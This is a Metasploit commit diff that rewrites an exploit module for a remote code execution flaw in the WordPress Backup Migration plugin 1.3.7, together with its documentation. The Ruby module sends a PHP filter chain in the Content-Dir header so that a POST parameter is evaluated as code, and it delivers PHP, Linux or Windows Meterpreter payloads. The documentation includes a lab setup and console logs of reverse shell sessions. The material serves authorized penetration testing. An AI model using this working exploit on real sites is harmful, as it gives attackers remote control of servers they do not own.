Skip to content

Commit 8bf354c

Browse files
committed
Land rapid7#19417, Improve wp_backup_migration_php exploit
The new PHP filter chain evaluates a POST parameter, which simplifies the process and reduces the payload size enabling the module to send the entire paylaod in one POST request instead of writing the payload to a file character by character over many POST requests. Support for both Windows and Linux Meterpreter payloads, not just PHP Meterpreter, has also been added.
2 parents f783aab + 61fa0c4 commit 8bf354c

File tree

2 files changed

+119
-95
lines changed

2 files changed

+119
-95
lines changed

documentation/modules/exploit/multi/http/wp_backup_migration_php_filter.md

Lines changed: 67 additions & 42 deletions
Original file line numberDiff line numberDiff line change
@@ -7,12 +7,13 @@ The vuln makes use of a neat technique called PHP Filter Chaining which allows a
77
bytes to a string by continuously chaining character encoding conversion. This allows an attacker to prepend
88
a PHP payload to a string which gets evaluated by a require statement, which results in command execution.
99

10-
### Setup
10+
## Setup
1111

1212
Spin up a Wordpress instance by running `docker-compose up` in the same directory as the `docker-compose.yml` file below:
13+
1314
```
1415
version: "3"
15-
# Defines which compose version to use
16+
# Defines which compose version to use
1617
services:
1718
# Services line define which Docker images to run. In this case, it will be MySQL server and WordPress image.
1819
db:
@@ -32,26 +33,29 @@ services:
3233
restart: always
3334
# Restart line controls the restart mode, meaning if the container stops running for any reason, it will restart the process immediately.
3435
ports:
35-
- "8000:80"
36-
# The previous line defines the port that the WordPress container will use. After successful installation, the full path will look like this: http://localhost:8000
36+
- "5555:80"
37+
# The previous line defines the port that the WordPress container will use. After successful installation, the full path will look like this: http://localhost:5555
3738
environment:
3839
WORDPRESS_DB_HOST: db:3306
3940
WORDPRESS_DB_USER: MyWordPressUser
4041
WORDPRESS_DB_PASSWORD: Pa$$5w0rD
4142
WORDPRESS_DB_NAME: MyWordPressDatabaseName
42-
# Similar to MySQL image variables, the last four lines define the main variables needed for the WordPress container to work properly with the MySQL container.
43+
# Similar to MySQL image variables, the last four lines define the main variables needed for the WordPress container to work properly with the MySQL container.
4344
volumes:
4445
["./:/var/www/html"]
4546
volumes:
4647
mysql: {}
4748
```
4849

4950
Download the vulnerable Backup Migration plugin: `https://downloads.wordpress.org/plugin/backup-backup.1.3.7.zip`.
50-
Navigate to `http://localhost:8000` and you'll be redirected and asked to setup the WordPress site. This includes
51+
Navigate to `http://localhost:5555` and you'll be redirected and asked to setup the WordPress site. This includes
5152
setting a username, password, email address for the admin user etc. Once the setup is complete login as the newly created
5253
admin user and via the options on the left side of the screen navigate to the `Plugins` and select `Add New`. Upload the
5354
`backup-backup.1.3.7.zip` file. You should now see `Backup Migration` in the list of Plugins, select `Activate` on the
54-
plugin. You should now have a vulnerable instance running.
55+
plugin. You should now have a vulnerable instance running.
56+
57+
## Options
58+
No options
5559

5660
## Verification Steps
5761

@@ -62,65 +66,86 @@ plugin. You should now have a vulnerable instance running.
6266
1. Receive a Meterpreter session in the context of the user running the WordPress application.
6367

6468
## Scenarios
65-
### Backup Migration Plugin version: 1.3.7 (Containerized WordPress Version 6.0)
69+
### Backup Migration Plugin version: 1.3.7 (Containerized WordPress Version 6.5.3)
70+
71+
Using `php/meterpreter/reverse_tcp`:
72+
6673
```
67-
msf6 exploit(multi/http/wp_backup_migration_php_filter) > set rhosts 127.0.0.1
68-
rhosts => 127.0.0.1
69-
msf6 exploit(multi/http/wp_backup_migration_php_filter) > set rport 8000
70-
rport => 8000
71-
msf6 exploit(multi/http/wp_backup_migration_php_filter) > set lhost 192.168.123.1
72-
lhost => 192.168.123.1
74+
msf6 exploit(multi/http/wp_backup_migration_php_filter) > set rhosts 192.168.1.36
75+
rhosts => 192.168.1.36
76+
msf6 exploit(multi/http/wp_backup_migration_php_filter) > set rport 5555
77+
rport => 5555
78+
7379
msf6 exploit(multi/http/wp_backup_migration_php_filter) > options
7480
7581
Module options (exploit/multi/http/wp_backup_migration_php_filter):
7682
77-
Name Current Setting Required Description
78-
---- --------------- -------- -----------
79-
PAYLOAD_FILENAME ONxu.php yes The filename for the payload to be used on the target host (%RAND%.php by default)
80-
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
81-
RHOSTS 127.0.0.1 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
82-
RPORT 8000 yes The target port (TCP)
83-
SSL false no Negotiate SSL/TLS for outgoing connections
84-
TARGETURI / yes The base path to the wordpress application
85-
VHOST no HTTP server virtual host
83+
Name Current Setting Required Description
84+
---- --------------- -------- -----------
85+
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
86+
RHOSTS 192.168.1.36 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
87+
RPORT 5555 yes The target port (TCP)
88+
SSL false no Negotiate SSL/TLS for outgoing connections
89+
TARGETURI / yes The base path to the wordpress application
90+
VHOST no HTTP server virtual host
8691
8792
8893
Payload options (php/meterpreter/reverse_tcp):
8994
9095
Name Current Setting Required Description
9196
---- --------------- -------- -----------
92-
LHOST 192.168.123.1 yes The listen address (an interface may be specified)
97+
LHOST 192.168.1.36 yes The listen address (an interface may be specified)
9398
LPORT 4444 yes The listen port
9499
95100
96101
Exploit target:
97102
98103
Id Name
99104
-- ----
100-
0 Automatic
105+
0 PHP In-Memory
101106
102107
108+
msf6 exploit(multi/http/wp_backup_migration_php_filter) > exploit
103109
104-
View the full module info with the info, or info -d command.
105-
106-
msf6 exploit(multi/http/wp_backup_migration_php_filter) > run
107-
108-
[*] Started reverse TCP handler on 192.168.123.1:4444
110+
[*] Started reverse TCP handler on 192.168.1.36:4444
109111
[*] Running automatic check ("set AutoCheck false" to disable)
110-
[*] WordPress Version: 6.0
112+
[*] WordPress Version: 6.5.3
111113
[+] Detected Backup Migration Plugin version: 1.3.7
112114
[+] The target appears to be vulnerable.
113-
[*] Writing the payload to disk, character by character, please wait...
114-
[*] Sending stage (39927 bytes) to 192.168.123.1
115-
[+] Deleted L
116-
[+] Deleted ONxu.php
117-
[*] Meterpreter session 3 opened (192.168.123.1:4444 -> 192.168.123.1:56224) at 2024-01-11 12:17:34 -0500
115+
[*] Sending the payload, please wait...
116+
[*] Sending stage (39927 bytes) to 172.18.0.3
117+
[*] Meterpreter session 7 opened (192.168.1.36:4444 -> 172.18.0.3:50136) at 2024-08-24 17:04:19 +0200
118118
119-
meterpreter > getuid
120-
Server username: www-data
121-
meterpreter > sysinfo
122-
Computer : 856d06702f34
123-
OS : Linux 856d06702f34 6.5.11-linuxkit #1 SMP PREEMPT_DYNAMIC Wed Dec 6 17:14:50 UTC 2023 x86_64
119+
meterpreter > sysinfo
120+
Computer : e409ace0b2a9
121+
OS : Linux e409ace0b2a9 5.15.0-119-generic #129-Ubuntu SMP Fri Aug 2 19:25:20 UTC 2024 x86_64
124122
Meterpreter : php/linux
123+
meterpreter > getuid
124+
Server username: www-data
125125
meterpreter >
126-
```
126+
```
127+
128+
Using `cmd/linux/http/x64/meterpreter/reverse_tcp`:
129+
130+
```
131+
msf6 exploit(multi/http/wp_backup_migration_php_filter) > exploit
132+
133+
[*] Started reverse TCP handler on 192.168.1.36:4444
134+
[*] Running automatic check ("set AutoCheck false" to disable)
135+
[*] WordPress Version: 6.5.3
136+
[+] Detected Backup Migration Plugin version: 1.3.7
137+
[+] The target appears to be vulnerable.
138+
[*] Sending the payload, please wait...
139+
[*] Sending stage (3045380 bytes) to 172.18.0.3
140+
[*] Meterpreter session 8 opened (192.168.1.36:4444 -> 172.18.0.3:48014) at 2024-08-24 17:06:58 +0200
141+
142+
meterpreter > sysinfo
143+
Computer : 172.18.0.3
144+
OS : Debian 12.5 (Linux 5.15.0-119-generic)
145+
Architecture : x64
146+
BuildTuple : x86_64-linux-musl
147+
Meterpreter : x64/linux
148+
meterpreter > getuid
149+
Server username: www-data
150+
meterpreter >
151+
```

modules/exploits/multi/http/wp_backup_migration_php_filter.rb

Lines changed: 52 additions & 53 deletions
Original file line numberDiff line numberDiff line change
@@ -6,10 +6,10 @@
66
class MetasploitModule < Msf::Exploit::Remote
77
Rank = ExcellentRanking
88

9+
include Msf::Payload::Php
910
include Msf::Exploit::Remote::HttpClient
1011
include Msf::Exploit::Remote::HTTP::Wordpress
1112
include Msf::Exploit::Remote::HTTP::PhpFilterChain
12-
include Msf::Exploit::FileDropper
1313
prepend Msf::Exploit::Remote::AutoCheck
1414

1515
def initialize(info = {})
@@ -27,7 +27,7 @@ def initialize(info = {})
2727
},
2828
'Author' => [
2929
'Nex Team', # Vulnerability discovery
30-
'Valentin Lobstein', # PoC
30+
'Valentin Lobstein', # PoC + rewrite msfmodule
3131
'jheysel-r7' # msfmodule
3232
],
3333
'License' => MSF_LICENSE,
@@ -37,28 +37,44 @@ def initialize(info = {})
3737
['URL', 'https://www.synacktiv.com/en/publications/php-filters-chain-what-is-it-and-how-to-use-it'],
3838
['WPVDB', '6a4d0af9-e1cd-4a69-a56c-3c009e207eca']
3939
],
40-
'DefaultOptions' => {
41-
'PAYLOAD' => 'php/meterpreter/reverse_tcp'
42-
},
43-
'Platform' => ['unix', 'linux', 'win', 'php'],
44-
'Arch' => [ARCH_PHP],
45-
'Targets' => [['Automatic', {}]],
40+
'Platform' => %w[php unix linux win],
41+
'Arch' => [ARCH_PHP, ARCH_CMD],
4642
'DisclosureDate' => '2023-12-11',
4743
'DefaultTarget' => 0,
4844
'Privileged' => false,
45+
'Targets' => [
46+
[
47+
'PHP In-Memory',
48+
{
49+
'Platform' => 'php',
50+
'Arch' => ARCH_PHP
51+
# tested with php/meterpreter/reverse_tcp
52+
}
53+
],
54+
[
55+
'Unix/Linux Command Shell',
56+
{
57+
'Platform' => %w[unix linux],
58+
'Arch' => ARCH_CMD
59+
# tested with cmd/linux/http/x64/meterpreter/reverse_tcp
60+
}
61+
],
62+
[
63+
'Windows Command Shell',
64+
{
65+
'Platform' => 'win',
66+
'Arch' => ARCH_CMD
67+
# tested with cmd/windows/http/x64/meterpreter/reverse_tcp
68+
}
69+
]
70+
],
4971
'Notes' => {
5072
'Stability' => [CRASH_SAFE],
5173
'Reliability' => [REPEATABLE_SESSION],
5274
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
5375
}
5476
)
5577
)
56-
57-
register_options(
58-
[
59-
OptString.new('PAYLOAD_FILENAME', [ true, 'The filename for the payload to be used on the target host (%RAND%.php by default)', Rex::Text.rand_text_alpha(4) + '.php']),
60-
]
61-
)
6278
end
6379

6480
def check
@@ -79,49 +95,32 @@ def check
7995
CheckCode::Appears
8096
end
8197

82-
def send_payload(payload)
83-
php_filter_chain_payload = generate_php_filter_payload(payload)
84-
res = send_request_cgi(
85-
'uri' => normalize_uri(target_uri.path, 'wp-content', 'plugins', 'backup-backup', 'includes', 'backup-heart.php'),
86-
'method' => 'POST',
87-
'headers' => {
88-
'Content-Dir' => php_filter_chain_payload
89-
}
90-
)
91-
fail_with(Failure::Unreachable, 'Connection failed') if res.nil?
92-
fail_with(Failure::UnexpectedReply, 'The server did not respond with the expected 200 response code') unless res.code == 200
98+
def php_exec_cmd(encoded_payload)
99+
vars = Rex::RandomIdentifier::Generator.new
100+
dis = '$' + vars[:dis]
101+
encoded_clean_payload = Rex::Text.encode_base64(encoded_payload)
102+
shell = <<-END_OF_PHP_CODE
103+
#{php_preamble(disabled_varname: dis)}
104+
$c = base64_decode("#{encoded_clean_payload}");
105+
#{php_system_block(cmd_varname: '$c', disabled_varname: dis)}
106+
END_OF_PHP_CODE
107+
return shell
93108
end
94109

95-
def write_to_payload_file(string_to_write)
96-
# Because the payload is base64 encoded and then each character is translated into it's corresponding php filter chain,
97-
# the payload becomes quite large and we start to hit limitations due to the HTTP header size.
98-
# For example this payload: "<?php fwrite(fopen("G", "a"),"\x73");?>", ends up being 7721 characters long.
99-
# The payload size limit on the target I was testing seemed to be around 8000 characters.
100-
# Using the following: <?php file_put_contents("file.php","char",FILE_APPEND);?> (more elegant solution) exceeds the
101-
# size limit which is why I ended up using <?php fwrite(fopen("<single_char_filename>", "char" ?> and then after
102-
# copying the single_char_filename to a filename with a .php extension to be executed.
110+
def exploit
111+
print_status('Sending the payload, please wait...')
103112

104-
single_char_filename = Rex::Text.rand_text_alpha(1)
105-
string_to_write.each_char do |char|
106-
send_payload("<?php fwrite(fopen(\"#{single_char_filename}\",\"a\"),\"#{'\\x' + char.unpack('H2')[0]}\");?>")
107-
end
108-
register_file_for_cleanup(single_char_filename)
109-
send_payload("<?php copy(\"#{single_char_filename}\",\"#{datastore['PAYLOAD_FILENAME']}\");?>")
110-
register_file_for_cleanup(datastore['PAYLOAD_FILENAME'])
111-
end
113+
random_var_name = Rex::Text.rand_text_alpha_lower(8)
114+
php_code = "<?php eval($_POST['#{random_var_name}']);?>"
115+
php_filter_chain_payload = generate_php_filter_payload(php_code)
116+
phped_payload = target['Arch'] == ARCH_PHP ? payload.encoded : php_exec_cmd(payload.encoded)
117+
b64_payload = framework.encoders.create('php/base64').encode(phped_payload)
112118

113-
def trigger_payload_file
114-
res = send_request_cgi(
115-
'uri' => normalize_uri(target_uri.path, 'wp-content', 'plugins', 'backup-backup', 'includes', datastore['PAYLOAD_FILENAME']),
116-
'method' => 'GET'
119+
send_request_cgi(
120+
'uri' => normalize_uri(target_uri.path, 'wp-content', 'plugins', 'backup-backup', 'includes', 'backup-heart.php'),
121+
'method' => 'POST',
122+
'headers' => { 'Content-Dir' => php_filter_chain_payload },
123+
'data' => "#{random_var_name}=#{b64_payload}"
117124
)
118-
print_warning('The application responded to the request to trigger the payload, this is unexpected. Something may have gone wrong.') if res
119-
end
120-
121-
def exploit
122-
print_status('Writing the payload to disk, character by character, please wait...')
123-
# Use double quotes in the payload, not single.
124-
write_to_payload_file("<?php #{payload.encoded}")
125-
trigger_payload_file
126125
end
127126
end

0 commit comments

Comments
 (0)